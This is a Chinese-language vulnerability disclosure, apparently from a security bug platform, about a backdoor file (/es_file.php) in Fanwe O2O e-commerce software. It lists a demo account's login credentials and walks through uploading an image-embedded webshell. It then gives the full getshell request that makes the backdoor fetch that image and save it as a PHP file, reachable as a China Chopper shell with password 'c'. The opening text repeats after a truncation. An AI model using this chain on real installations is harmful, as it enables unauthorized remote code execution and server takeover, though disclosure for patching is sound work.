### 简要描述： 用户好像不太多，但基本都有这个后门文件 ### 详细说明： 后门文件路径 /es_file.php 官网介绍 http://www.fanwe.com/o2o 前台演示地址:http://o2o.fanwe.net/ 会员账号：fanwe 密码：fanwe http://o2o.fanwe.net/index.php?ctl=uc_center 分享处上传图片马 [<img src="https://images.seebug.org/upload/201404/17111457b82055c8e0000d641423f259af6f039e.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/17111457b82055c8e0000d641423f259af6f039e.jpg) F12去掉尺寸，得到图片马地址 http://o2o.fanwe.net/public/comment/201404/17/10/1acafed8eeffa043489a4321b877e36690.jpg Getshell http://o2o.fanwe.net/es_file.php?username=admin&password=admin&act=0&file=http://o2o.fanwe.net/public/comment/201404/17/10/1acafed8eeffa043489a4321b877e36690.jpg&path=abe&name=aaa.php 菜刀一句话，密码 c http://o2o.fanwe.net/public/abeaaa.php [<img src="https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg" alt="02.jpg" width="600"...
### 简要描述： 用户好像不太多，但基本都有这个后门文件 ### 详细说明： 后门文件路径 /es_file.php 官网介绍 http://www.fanwe.com/o2o 前台演示地址:http://o2o.fanwe.net/ 会员账号：fanwe 密码：fanwe http://o2o.fanwe.net/index.php?ctl=uc_center 分享处上传图片马 [<img src="https://images.seebug.org/upload/201404/17111457b82055c8e0000d641423f259af6f039e.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/17111457b82055c8e0000d641423f259af6f039e.jpg) F12去掉尺寸，得到图片马地址 http://o2o.fanwe.net/public/comment/201404/17/10/1acafed8eeffa043489a4321b877e36690.jpg Getshell http://o2o.fanwe.net/es_file.php?username=admin&password=admin&act=0&file=http://o2o.fanwe.net/public/comment/201404/17/10/1acafed8eeffa043489a4321b877e36690.jpg&path=abe&name=aaa.php 菜刀一句话，密码 c http://o2o.fanwe.net/public/abeaaa.php [<img src="https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/171115184bf85a0e2e2ff61400ee910d7fddac74.jpg)
